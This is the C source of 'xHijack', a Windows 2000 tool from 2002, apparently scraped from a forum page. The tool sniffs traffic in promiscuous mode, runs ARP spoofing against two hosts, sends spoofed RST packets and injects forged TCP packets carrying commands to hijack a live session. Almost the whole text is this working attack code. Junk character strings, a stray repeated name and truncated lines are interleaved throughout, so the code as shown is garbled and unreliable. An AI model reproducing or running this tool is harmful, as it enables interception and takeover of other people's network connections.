if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) { printf("Unable to retrieve the list of the adapters!\n"); return 0; 1 v0 @9 c# P# {! Z+ F } 6 B+ T2 m# Q9 n) ^( N+ Z temp = temp1 = AdapterName; 1 z1 L; B: o- G' F( E& O p; m i = 0; while ((*temp != '\0')||(*(temp-1) != '\0')) 1 O1 P% a+ [" l0 a1 | { 2 P: d& c) e! v; T+ Z if (*temp == '\0') { memcpy(AdapterList,temp1,(temp-temp1)*2); 9 o* r' i. U1 x& e* t0 X printf("%d - %S\n", i+1, AdapterList); 5 N# a' f: t+ p7 p3 H5 j temp1=temp+1; i++; ! s* C9 }3 d" g5 S, N& {9 f! B8 w2 | } temp++; } //choose adapter while((iAdapter <= 0) || (iAdapter > i)) , z6 }6 z1 H; J9 k$ }" h { printf("\nPlease choose your Adapter:"); scanf("%1d", &iAdapter); * l; f& @+ d2 G! M- F } % h9 n) D% n/ G8 h0 o) U# o printf("\n"); - l4 G" ^* S! ` //---------------------------------------------// 5 f# K/ \- w" H) K' R- R //这里调用iphlpapi来取得本地ip_addr和mac_addr % v! H R) T0 H( z" l4 ?! W sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); ! G y6 o, f+ H; u$ M0 @: X2 ?* f F if(dwRet != ERROR_BUFFER_OVERFLOW) { printf("GetAdapterInfo error:%d\n", GetLastError()); return 0; } pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); if(!pAdapterInfo) 7 |$ i! E E1 R+ l: p3 Z { printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); return 0; ) `$ }4 P- y! c- p1 `7 r }/ d } - t6 {$ C2 \: V7 K+ c* F dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); if(dwRet != ERROR_SUCCESS) { 3 z7 C2 q$ p+ Y0 r A printf("GetAdapterInfo error:%d\n", GetLastError()); 8 P* H+ G' y$ {# c0 } return 0; } pTmp = pAdapterInfo; while(pTmp) " q" n3 V% [& O* @% H { $ q+ ]/ u1 s0 K) T* b4 l/ x; D' e //字符匹配

韩冰

if(strstr(szSelectAdapterName, pTmp->AdapterName)) { 1 [, z# M1 ]7 B# L" e //found it,get own adapter mac address ; e* l4 g8 F& O2 L8 u- f memcpy(g_szOwnMAC, pTmp->Address, 6); 8 L7 h6 B5 t' ~' @: S0 A; t8 S //get ip address pIPAddr = &pTmp->IpAddressList; $ G2 i- g3 J) X! z1 V while(pIPAddr) { g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ' T: i* z/ g- c: @( q pIPAddr = pIPAddr->Next; , @! T- }; ^% S0 ~ if(g_TotalIP >= Max_Num_IPAddr) break; # ]9 i6 N0 B0 [9 U) d7 i* G- G e# j } * N t8 c" h v& M break; 3 `2 s" v6 T: ^/ F } * s. N% N, T3 A! J8 l% U; y pTmp = pTmp->Next; } 5 [, q1 b1 D3 x1 |, n5 a free(pAdapterInfo); //not found,return zero if( (!pTmp) || (!g_TotalIP) ) return 0; 8 g, w5 q( A1 c+ e% ^- g8 a //---------------------------------------------// //open adapter $ t2 y# |2 H4 e' c! _9 G lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); 4 o# U: X H; J" u if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) { iRetCode = GetLastError(); + z. l% Z8 s0 ^! _4 V$ F- B printf("Unable to open the driver, Error Code : %lx\n", iRetCode); return 0; } // set the network adapter in promiscuous mod 4 e% Q# P- n) x r t, Q if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { " E6 z1 T- R: }# Z7 R) F/ _6 E9 Q printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) ; }6 \1 _# i/ B- W k { 8 T7 N* Y' j0 \4 P r printf("Unable to set ALL_LOCAL mode!\n"); 3 W' Y5 F# {8 b& C% g" } return 0; $ C# M5 L* A7 g I+ w } " Y0 V# _0 K* ?0 N% j6 B5 p& v } * K% B. `0 t& R- F1 H // set a 512K buffer in the driver if(PacketSetBuff(lpAdapter, 512000) == FALSE) { printf("Unable to set the kernel buffer!\n"); return 0; 5 z$ U H+ r C: Q } // set a 1 second read timeout ) B5 g8 ? U; o0 Q7 M& k: Q* { if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) $ O7 u2 E9 Y- T B printf("Warning: unable to set the read tiemout!\n"); if(PacketSetNumWrites(lpAdapter, 1) == FALSE) printf("warning: Unable to send more than one packet in a single write!\n"); //设置发送的packet g_lpSendPacket = PacketAllocatePacket(); if(g_lpSendPacket == NULL) { printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); return 0; * |3 Z* [8 W2 l; {4 L } ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); - i3 Y) y( }# b+ C5 S, T! [ PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); return lpAdapter; } //功能：帮助信息 # t6 p! X9 ?: Z8 H* z0 q3 Avoid usage() { printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" "By eyas 2002/8/19\n" 7 K: p: ^ @+ u, x" C! @ "http://www.ey4s.org\n" 2 Z9 z# E4 Q0 ]2 q "Thanks to Refd0m and shotgun\n\n" 2 b3 Z& n' S& X3 z "Usage: xHijack ServerSide ClientSide\n\n"); 6 s/ h2 _0 s l/ U} , Q% r6 q- e! J. \& ~6 l & `5 a) z* @3 K8 o// ( L# }, x9 P: M9 ^5 }+ a//功能：显示数据包的一些详细信息 ( j# R4 [4 t0 \/ W& s2 Y// 4 f! I* w. t' }VOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) 1 G& f G# `; n: G" s5 @" {{ SOCKADDR_IN saDest, saSrc; unsigned char FlagMask; : P) z& f4 W+ I7 D( t0 r int i; 3 k2 F6 o6 e/ l" B% o , l4 i1 i% w5 L$ Z/ H: C: k saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; # u8 v- i. D3 A) v3 u* n4 [, F saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); ! G5 r1 l8 |6 C2 c3 L) d# G //display TCP flag ) S8 y( m2 l ~6 V& e3 E( o, K0 A/ c# X for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) { if((pTCPPacket->tcphdr.th_flag) & FlagMask) printf("%c", g_szTcpFlag); " d* o9 I. n- P# q else printf("-"); } printf("\n"); //如有需要，可显示更多详细的信息 # U4 W; S3 A/ x/ m1 s* C if(bDetail) ' {; P# i4 e- O0 g! `0 u" L printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ) L, j( B( p$ l$ _} . V! F/ l8 W3 _ . r3 v2 [. Y! H5 W& m5 y% U1 _// 2 p) G& \6 e. [: J//功能：处理收到的数据包(只分析本不属于自己的包)，然后根据用户输入，完成各种功能 // DWORD WINAPI AnalysePacketsThread(LPVOID lp) ) {, L' g" l* O" m% w{ ULONG ulBytesReceived; USHORT usDataLen; //USHORT usIPHeadLen, usTCPHeadLen; char *buf; u_int off, i; % }7 n! {2 M3 f' Z. h+ O PTCPPACKET pTCPPacket; 4 G) m5 y- A' E; c struct bpf_hdr *hdr; LPPACKET lpRecvPacket; 0 I5 `0 l9 Y' ~' x7 s& T3 x char szPacketBuf[256000], *pStr; BOOL bDeleteNode, bAddNew; ( {/ n9 ~2 L. n0 G DWORD ident;//当前所处理的数据包，所属的连接的唯一标识 # E* u P; Q1 E- O/ [+ s3 ?' P BOOL bClientToServer;//数据包是否从客户端发送到服务器端 - f) v3 f- l! I3 C2 J. D1 M2 y8 b //设置接收的packet 6 A3 v4 k' R$ e lpRecvPacket = PacketAllocatePacket(); ) q' Y3 f Y- z. Y) p& { if(lpRecvPacket == NULL) { 0 n+ X- l) L5 b/ C8 z printf("Error:failed to allocate the LPPACKET structure for recv.\n"); return 0; & G8 }0 Q2 i$ u! W2 ?$ a; a } 9 M1 n/ v4 k( e6 G ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); 3 y5 M9 b6 ^) S/ w5 ]+ m8 Y PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); while(1) { 8 ?8 E4 V1 m% X( x4 @7 ~ // capture the packets if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) { 1 E4 I0 w% O. n& O T printf("Error: PacketReceivePacket failed.\n"); break; - P7 m5 K5 S# }: B: X } # s1 \8 t! W _9 M8 y3 u8 r ulBytesReceived = lpRecvPacket->ulBytesReceived; buf = lpRecvPacket->Buffer; off = 0; while(off < ulBytesReceived) { hdr = (struct bpf_hdr *)(buf + off); 6 c1 V j7 x6 @) b4 N" T4 G: y off += hdr->bh_hdrlen; pTCPPacket = (PTCPPACKET)(buf + off); : _4 n4 g+ l/ G U8 H# S off = Packet_WORDALIGN(off + hdr->bh_caplen); : k; p% Y# \, d0 k //不需要处理自己发出的包(转发或本机发送的) if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 1 x+ d$ U5 ?4 q/ q //检查是否IP包 . p( K+ ^* Q# v: b6 Y if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; //检查是否TCP包 if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; //也不处理DestIP是自己的包 2 ~: y+ e' S* t2 i" }% u- _ for(i=0; i

韩冰

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE);
2 k% R0 g( z- v6 T  a            //reset action flag
            ResetActionAllFlag();
          }
          //start hijack
          else if(g_dwAction == ACTION_HIJACK)
7 N' T/ Y8 \+ T) I          {
+ d: V/ \$ O( w3 M8 x' J# z            //send rst packet to client
' a/ t- X' z* W. K: V3 i            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq);
& ^0 d6 F1 O( F            //send hijack packet to client
) [0 q, Z$ g  i1 q" z+ W" {9 t. ?! W9 ?            SendHiJackPacket(pTCPPacket);
. o2 T/ ?9 C+ v' L  W            //reset action flag
/ f- ~# V6 d9 n+ d  R% x            ResetActionAllFlag();
7 u4 T; i. l  f8 E7 \, n& g          }
        }
$ k* ]6 Q" A! t( j" n        //show the tcp data
        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) )
        {
          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
/ f1 b/ B1 }+ s$ ^2 A          //暂不考虑IP、TCP头不是20字节的情况
$ C% J5 L8 H" N  I, G% b: l( d          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
          pStr = (char *)pTCPPacket + 54;
          for(i=0; i        }
      }
, g8 T) A' ]' f      //debug output
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
    }//end of analyse packets while
" _7 K4 t. \) h* T- ]- ^( ?  }//end of recv packets while
' t$ L* y+ V0 H2 G2 I6 _  PacketFreePacket(lpRecvPacket);
, j/ N+ m7 d" s/ o8 X  return 0;
}

3 A, H5 h; x3 v% x
! \) H' Q  ?4 D  g: M* G//
$ q. j* G1 G5 l) n9 N* H//功能：操作记录所有连接信息的单向链表
( l* Q& O' k" w5 l9 }# Z//
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
5 ]9 G+ L$ g6 q& s  W& |            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
{
/ X$ ^1 h9 o! I$ k8 U  PCONNINFO  pNew, pTmp;

  pTmp = g_pConnHead;
& [( X+ u; [; C+ X8 {. J  while(pTmp)
  {
    if(pTmp-&gt;bActive)
$ S$ I3 Y* d# p8 p2 ]    {
      //found it
& j# L. f! I- F8 b- X! ?! D      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp;
8 E/ K/ R5 t) t! \# U5 C$ N7 c        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
/ _" [& b% R8 y3 c2 y2 u# K        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp;
! U1 h7 B: J. c8 [! Y% i( n  k4 b        (pTmp-&gt;uClientPort == uClientPort) )
      {
        if(bDelete)
        {
          pTmp-&gt;bActive = FALSE;
  x4 w( [8 o! w  e) P7 A          return 0;
0 ^9 V* [5 W" \' a; k" _        }
        else return pTmp-&gt;ident;
* K  n9 O" K* _/ ?8 b. V4 ^4 c      }
    }
    pTmp = pTmp-&gt;Next;
6 J+ v5 A- A& l; t" w1 P* `, t  }
  //not found, create new node
  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) )
  {
    //search unactive note
& ^8 G0 t' D, E6 G. i3 X9 a    pTmp = g_pConnHead;
, b- N& s4 E& h3 _2 L0 O    while(pTmp)
  o5 l* J7 k8 l  ^5 x, R    {
1 w4 y% j/ M% U      if(!pTmp-&gt;bActive) break;
3 c1 x1 S  G4 ]' Y. L; E4 G. A: M      pTmp = pTmp-&gt;Next;
0 L2 H' S8 r! u1 z4 w0 N4 O( m    }
    //found a unactive node
* t  i( F4 q% O+ \    if(pTmp)
( G, o* \- r, Q5 i+ y    {
      pTmp-&gt;dwServerIP = dwServerIP;
      pTmp-&gt;uServerPort = uServerPort;
      pTmp-&gt;dwClientIP = dwClientIP;
      pTmp-&gt;uClientPort = uClientPort;
      pTmp-&gt;bActive = TRUE;
2 _/ p" G, Z: [$ x( Z" U: |+ j* z4 r      return pTmp-&gt;ident;
% t- C" n) T( c; R( L. x) a    }
    //not found,create new node
  G$ [2 L1 T5 b+ U2 B    pNew = (PCONNINFO)malloc(sizeof(CONNINFO));
    if(!pNew)
    {
      printf("malloc for link node error:%d\n", GetLastError());
      return 0;
    }
    //fill the struct
    pNew-&gt;bActive = TRUE;
    pNew-&gt;dwServerIP = dwServerIP;
7 c2 `6 `  E$ n* r    pNew-&gt;uServerPort = uServerPort;
6 D" i; `2 j! Q0 D    pNew-&gt;dwClientIP = dwClientIP;
    pNew-&gt;uClientPort = uClientPort;
    pNew-&gt;ident = ++g_ident;
3 z; }2 x: T, i    pNew-&gt;Next = NULL;
    //add new node to link
    if(!g_pConnHead)
" B( I  @5 C/ K2 {& |      g_pConnHead = g_pConnLast = pNew;
    else
' f. k6 _1 |" t6 c    {
      g_pConnLast-&gt;Next = pNew;
$ W7 A) K  Z0 }8 f# B* l& o0 |2 U' F& y      g_pConnLast = pNew;
    }
, @" j- K* w& r2 m2 w    return pNew-&gt;ident;
; f  B5 i  v( Y; I- |* U  }
% S. B1 {- i0 W2 Z+ F& ^- o+ V# [  return 0;
( a& P& m( O: g8 B6 z) o}

//
( l. W( u& H1 h* N1 @//功能：判断一个数据包是不是只有ACK标志
//
BOOL IsACKPacket(unsigned char flag)
) c. R8 `% A4 `, d% Z6 T1 Y; K{
1 s% |) I; Z- d" P9 ?  int  i, j=1;
  for(i=0 ; i&lt;4; i++)
) t: a5 L8 X0 I# d+ ~+ z  {
) M: W; F$ V: E    if(flag &amp; j) return FALSE;
2 V. T6 e$ W5 b; p% g+ ~    j &lt;&lt;= 1;
  }
( ^5 e* @; P. K8 T$ K/ x# ^  if(!(flag &amp; 0x10)) return FALSE;//is ack?
  if(flag &amp; 0x20) return FALSE;
0 Q0 Y# i- e- s4 }  return TRUE;
}
) j; A/ Y3 k( T3 z0 Z0 H
, U" H$ L/ m1 C  K//
//功能：伪装成Client给Server发送数据包
, l2 ^; m+ D5 p0 u. g/ R//
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
{
( V+ E2 v# l7 N! p$ @
  char    szBuff[1520];
# A5 _/ j- x0 t, ~. y. c9 R  PSDHDR    psdhdr;
+ S& D" Q! F& f2 p" i# J  PTCPPACKET  pHiJackPacket = NULL;
  BOOL    bRet = FALSE;
0 J+ H5 ]7 Z; {0 O& c/ A* v
  __try
) d1 F' p0 c+ q6 w0 J. \5 S. w  {
/ }* ^: J* r/ P5 T    //
    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for hijack packet
    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
    if(!pHiJackPacket)
    {
# d; g% b5 f/ Y( B+ b7 l) N      printf("malloc error:%d\n", GetLastError());
- b1 @2 b1 Z* r! e, @  J9 M# J, M$ e      __leave;
    }
: h' s) k2 H8 h& K6 m/ t- C    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
: `8 ?3 F" Y. p7 x3 e    //-------------- modify the packet ---------------//
    //modify ethernet head
    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6);
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
7 ?; s7 b/ m0 x. U, s$ L& E) R/ [    //modify ip head
* }% `8 c2 h) F6 M7 u/ A2 W: _    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
0 ?3 q9 f. W7 t5 I, K    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
6 ?2 h9 b8 _+ o( c3 `    pHiJackPacket-&gt;iphdr.checksum = 0;
, R% y% O* B7 V3 F    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址，伪装成client
/ _1 ^( Z( e/ _1 v    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址，接收hijack包的地址
9 y; P! y8 P# s    //modify tcp head
" i$ d  @/ {8 _    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
8 R3 i3 g4 o+ n8 ?    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
, g, E! p. i- G& q( u# i    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
, J* b+ k$ I3 X& N7 c  b    pHiJackPacket-&gt;tcphdr.th_sum = 0;
, y6 i0 ^$ z2 S/ A8 l) @    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44;
    //fill tcp psd head
6 W9 M& w  H1 u; m: m4 u& G6 o    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
    psdhdr.mbz = 0;
7 `( N" [- q5 {+ G$ C; x" z* q9 J: \6 R    psdhdr.ptcl = IPPROTO_TCP;
3 c4 N( R' q2 Z/ T    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
$ t7 g6 v' |& C7 h, h# ~/ y3 x    //calculate tcp checksum     
5 H5 m, |: s- _; Y* ~3 p4 C    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR));
! a  n7 f' a  f) R  M, u% ^$ G    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
( n7 I5 ^, y- E* W    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
6 g* l  X( S* a, P    //calculate IP checksum
6 F( C: S, B; A) h6 ]# M    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR));
% n  _; }2 C7 m' D5 }    //fill send buffer           
    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET));
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
8 N4 n; K5 U3 \$ W0 T0 a1 S. N    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
' \# V) o9 n: U: S, D& ~    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
& r9 T) x  w3 a" G    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
" E. {' c* @3 y1 S" x3 @2 y  T- i      printf("Error sending the hijack packets!\n");
      __leave;
$ p# Z$ c) N5 J6 O8 A    }
5 {4 S" j" W1 {" D) W4 v5 m! G: T    else printf("Send hijack packet ok!\n");
    bRet = TRUE;
  }

韩冰

__finally
: Q( A( C3 M' p: S5 a  {
  Y  S6 r4 y# B: n    if(pHiJackPacket) free(pHiJackPacket);
  }
' y# F* g1 B! M0 z- \: l  return bRet;
}
' J0 D# p9 q1 D

1 }( d2 V  b, {' W# c) ]" \//
! M/ k% j: E6 X0 r/ M1 J/ W//功能：伪装成Server给Client发送rst包
//
BOOL SendRstPacket(unsigned int seq, unsigned int ack)
{
6 [6 F" M2 {* X8 {2 w0 l6 s  char    szBuff[60];
  PSDHDR    psdhdr;
2 I+ k# y% ^1 C  o) O* Q/ m1 H  PTCPPACKET  pTcpPacket = NULL;
* P* A$ }: \7 J+ Y  BOOL    bRet = FALSE;
, u' Z$ y5 U7 C/ i2 b$ S! z+ I- {9 h" }
- H: z& c% ~- D& U9 F  __try
  {
7 B5 `0 q6 l3 ]0 Y/ y    //检查当前指向想控制的连接的信息的指针是否为空
. B0 ^; |+ w$ ^/ Z    if(!g_pCurrCtrlConn) __leave;
    //allocate memory for rst packet
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
( u# s) e# i$ y* x" ?    if(!pTcpPacket)
7 B6 J7 G! N1 V+ d/ v    {
      printf("malloc error:%d\n", GetLastError());
$ e# x' [; T6 T      __leave;
7 N7 E5 q  Z9 k    }
    //fill ethernet head
' b! y! Q9 j& @2 U) @! r) Z    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP);
    //fil ip head
    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
    pTcpPacket-&gt;iphdr.tos = 0;
: s- t8 r" U: w% _! C: I5 O    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR));
    pTcpPacket-&gt;iphdr.ident = 1;
    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
    pTcpPacket-&gt;iphdr.ttl = 128;
" m& L& R# z3 E2 b/ J3 G7 J    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
) B9 P4 |4 h% I& o. k' c: \. T+ v( b# C    pTcpPacket-&gt;iphdr.checksum = 0;
' o- Q! T1 ~2 @5 a% u: p# E# M    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址，伪装成服务器的
; v, q" M+ e4 t# i7 ]& H    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
2 n. X" E; D) t2 y) G+ ^    //fill tcp head
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号，伪装成服务器的端口
/ U. R, B* j$ W    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
! f" f7 Y( O: L" Z    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK
7 x# ?+ o+ V; ~# Y- i) M    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0);
) P0 ^1 o( ]- n/ k' ~+ W    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
    pTcpPacket-&gt;tcphdr.th_win = 0;
+ q6 ~' b, J2 Z0 ?. }% r( b    pTcpPacket-&gt;tcphdr.th_urp = 0;
    pTcpPacket-&gt;tcphdr.th_sum = 0;
9 f: Z; v, Y. H4 k; l5 l8 n    //fill tcp psd head
2 |$ e* p! r/ T: f( A$ ]% k- ^    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
4 i; [& C" L# g& }    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           
2 s2 @' J) l% k9 n* \: t+ X/ y  d    psdhdr.mbz = 0;
    psdhdr.ptcl = IPPROTO_TCP;
    psdhdr.tcpl = htons(sizeof(TCPHDR));
    //calculate tcp checksum     
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
& k! c. ^+ d2 ]    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
, e  e; o7 N1 Z( v3 v! |    //calculate IP checksum
' ]$ |, y) E0 b9 p( ?  R1 |    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
8 L. ?! p% f, ?% T    //fill send buffer
, h+ K! c3 \! n# r! b: e7 M# D9 D    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
6 r9 s# O. L4 G* a/ q2 P9 y    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
    {
% L7 ]# p& D$ k  ^2 w$ o- M      printf("Error sending the rst packets!\n");
      __leave;
    }
    else printf("Send RST packet ok!\n");
    bRet = TRUE;
  }
9 j  Q% \- r) P- L. q  __finally
. i" P2 D6 O1 O6 o1 a  {
. G! x5 T3 d! x! `2 S1 w    if(pTcpPacket) free(pTcpPacket);
  }
3 O! ]( R, j  y$ f: O6 W3 ~8 }  return bRet;
7 S( L' K* q* ?+ f}

//
//功能：计算校验和
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
1 B9 p% S$ x2 @- S( q7 K( U! R8 s1 X6 P while(size &gt;1) {
; d1 L; L( C# W* m! f, f8 ]  cksum+=*buffer++;
  size -=sizeof(USHORT);
}
if(size ) {
2 y; x, C( N; `9 ^% `0 _  cksum += *(UCHAR*)buffer;
/ P3 s$ k1 G# }) C) M }
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);
cksum += (cksum &gt;&gt;16);
return (USHORT)(~cksum);
}
! l4 U' r9 _$ m1 n1 S
//
//功能:实施ARP欺骗
//1 告诉ServerSide,ClientSide的mac是ownmac
//2 告诉ClientSide,ServerSide的mac是ownmac
//
DWORD WINAPI ArpSpoofThread(LPVOID lpType)
{
3 `! P7 W3 U' j: x9 C/ n  int  iType = *(int *)lpType;
# s6 D! ~  q8 |1 {) W8 j2 \  ARPPACKET  ArpPacket;
  LPPACKET  lpArpPacket;
  char    szArpBuff[60];
* R# [* F3 `6 r) {
& I2 s. \6 D' F  A3 a1 U3 W  switch(iType)
  {
    case 1:
% r8 v- Q5 ~1 c; V: }' {! j      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
5 o9 b  k% P( n, t' U) }: V! D      ArpPacket.arphdr.DestIP = g_ServerSideIP;
      ArpPacket.arphdr.SourceIP = g_ClientSideIP;
      break;
) D! r! S& t- g* t4 y3 B' F8 m7 \( N    case 2:
& x0 c& K, Z7 |3 e$ w3 h* t      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
      ArpPacket.arphdr.DestIP = g_ClientSideIP;
. J/ O' \% f% |4 ]# w/ @& x9 H; h      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
      break;
    default:
      return 0;
* v  Z7 t4 T& a* k, Z* Z7 _9 a  }
  //ethernet head
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6);
) M7 e. i2 Q( `3 K8 E  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type
  //arp head
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
5 ]; }* r. I: b9 P- G  ArpPacket.arphdr.HrdAddrlen = 6;
  ArpPacket.arphdr.ProAddrLen = 4;
  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
  ArpPacket.arphdr.ProType = htons(EPT_IP);
  ArpPacket.arphdr.op = htons(2);//arp reply

  lpArpPacket = PacketAllocatePacket();
  if(lpArpPacket == NULL)
  {
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n");
$ ]- |; a7 p2 ~7 a; T/ ?    return 0;
  }
  memset(szArpBuff, 0, sizeof(szArpBuff));
  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET));
' c/ r7 E0 m5 L& c' D  PacketInitPacket(lpArpPacket, szArpBuff, 60);
